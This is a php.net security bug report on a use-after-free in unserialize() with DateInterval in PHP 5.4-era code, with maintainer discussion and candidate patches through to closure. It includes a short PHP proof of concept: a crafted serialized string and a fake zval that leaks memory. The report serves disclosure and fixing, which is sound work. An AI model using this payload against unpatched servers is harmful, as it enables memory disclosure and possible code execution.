php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #69133 Use after free vulnerability in unserialize() with DateInterval
Submitted: 2015-02-27 04:24 UTC Modified: 2015-03-17 23:54 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: Date/time related
PHP Version: 5.4.38 OS: *
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2015-02-27 04:24 UTC] taoguangchen at icloud dot com
Description:
------------
In fact, the bug is similar to bug#68942, and i pointed out the bug at comments(https://bugs.php.net/bug.php?id=68942), but it has not been fixed in lastest PHP updates.

static int php_date_interval_initialize_from_hash(zval **return_value, php_interval_obj **intobj, HashTable *myht TSRMLS_DC)
{
	(*intobj)->diff = timelib_rel_time_ctor();

#define PHP_DATE_INTERVAL_READ_PROPERTY(element, member, itype, def) \
	do { \
		zval **z_arg = NULL; \
		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
			convert_to_long(*z_arg); \
			(*intobj)->diff->member = (itype)Z_LVAL_PP(z_arg); \
		} else { \
			(*intobj)->diff->member = (itype)def; \
		} \
	} while (0);

#define PHP_DATE_INTERVAL_READ_PROPERTY_I64(element, member) \
	do { \
		zval **z_arg = NULL; \
		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
			convert_to_string(*z_arg); \
			DATE_A64I((*intobj)->diff->member, Z_STRVAL_PP(z_arg)); \
		} else { \
			(*intobj)->diff->member = -1LL; \
		} \
	} while (0);
...
}

The convert_to_long()\convert_to_string() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.

The following code should leak arbitrary memory:

<?php

$fakezval = pack(
    'IIII',
    0x00100000,
    0x00000400,
    0x00000000,
    0x00000006 
);

$data = unserialize('a:2:{i:0;O:12:"DateInterval":1:{s:1:"y";a:2:{i:0;i:0;i:1;i:1;}}i:1;R:4;}');

for($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

?>


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-02-27 04:39 UTC] taoguangchen at icloud dot com
The fix (for 5.4/5.5/5.6):

--- a/ext/date/php_date.c
+++ b/ext/date/php_date.c
@@ -3669,8 +3669,7 @@ static int php_date_interval_initialize_from_hash(zval **return_value, php_inter
 #define PHP_DATE_INTERVAL_READ_PROPERTY(element, member, itype, def) \
 	do { \
 		zval **z_arg = NULL; \
-		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
-			convert_to_long(*z_arg); \
+		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS && Z_TYPE_PP(z_arg) == IS_LONG) { \
 			(*intobj)->diff->member = (itype)Z_LVAL_PP(z_arg); \
 		} else { \
 			(*intobj)->diff->member = (itype)def; \
@@ -3680,8 +3679,7 @@ static int php_date_interval_initialize_from_hash(zval **return_value, php_inter
 #define PHP_DATE_INTERVAL_READ_PROPERTY_I64(element, member) \
 	do { \
 		zval **z_arg = NULL; \
-		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
-			convert_to_string(*z_arg); \
+		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS && Z_TYPE_PP(z_arg) == IS_STRING) { \
 			DATE_A64I((*intobj)->diff->member, Z_STRVAL_PP(z_arg)); \
 		} else { \
 			(*intobj)->diff->member = -1LL; \
 [2015-02-27 06:38 UTC] laruence@php.net
this change breaks some test scrips under ext/date, please verify them...
 [2015-02-27 12:53 UTC] taoguangchen at icloud dot com
I update a new patch :)

The fix (for 5.4/5.5/5.6):

--- a/ext/date/php_date.c
+++ b/ext/date/php_date.c
@@ -4182,10 +4182,13 @@ static int php_date_interval_initialize_from_hash(zval **return_value, php_inter
 
 #define PHP_DATE_INTERVAL_READ_PROPERTY(element, member, itype, def) \
 	do { \
-		zval **z_arg = NULL; \
+		zval **z_arg = NULL, tmp; \
 		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
-			convert_to_long(*z_arg); \
-			(*intobj)->diff->member = (itype)Z_LVAL_PP(z_arg); \
+			tmp = **z_arg; \
+			zval_copy_ctor(&tmp); \
+			convert_to_long(&tmp); \
+			(*intobj)->diff->member = (itype)Z_LVAL(tmp); \
+			zval_dtor(&tmp); \
 		} else { \
 			(*intobj)->diff->member = (itype)def; \
 		} \
@@ -4193,10 +4196,13 @@ static int php_date_interval_initialize_from_hash(zval **return_value, php_inter
 
 #define PHP_DATE_INTERVAL_READ_PROPERTY_I64(element, member) \
 	do { \
-		zval **z_arg = NULL; \
+		zval **z_arg = NULL, tmp; \
 		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
-			convert_to_string(*z_arg); \
-			DATE_A64I((*intobj)->diff->member, Z_STRVAL_PP(z_arg)); \
+			tmp = **z_arg; \
+			zval_copy_ctor(&tmp); \
+			convert_to_string(&tmp); \
+			DATE_A64I((*intobj)->diff->member, Z_STRVAL(tmp)); \
+			zval_dtor(&tmp); \
 		} else { \
 			(*intobj)->diff->member = -1LL; \
 		} \
 [2015-03-02 04:38 UTC] taoguangchen at icloud dot com
there are some similar bugs exists in other methods: SoapClient::__getLastRequest, SoapClient::__getLastResponse, SoapClient::__getLastRequestHeaders, SoapClient::__getLastResponseHeaders and etc.

PHP_METHOD(SoapClient, __getLastRequest)
{
	zval **tmp;
	
	if (zend_parse_parameters_none() == FAILURE) {
		return;
	}

	if (zend_hash_find(Z_OBJPROP_P(this_ptr), "__last_request", sizeof("__last_request"), (void **)&tmp) == SUCCESS) {
		RETURN_STRINGL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp), 1);
	}
	RETURN_NULL();
}
 [2015-03-02 04:42 UTC] taoguangchen at icloud dot com
Sorry , last comment post ​​a wrong bug report.
 [2015-03-02 04:46 UTC] stas@php.net
This all is a consequence of https://bugs.php.net/bug.php?id=68976 probably and just repeats it with different classes that free serialized data in one way or another. I don't think fixing it on the consumer side going to hold - there probably will be more such cases in different places. We need to fix unserialize instead to not break when these variables are freed (provided this is possible of course,
 [2015-03-02 06:03 UTC] stas@php.net
This patch: https://gist.github.com/smalyshev/eea9eafc7c88a4a6d10d should fix that one too, please check.
 [2015-03-17 23:54 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2015-03-17 23:54 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.

Doesn't reproduce for me in 5.4 anymore.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Oct 08 10:01:27 2024 UTC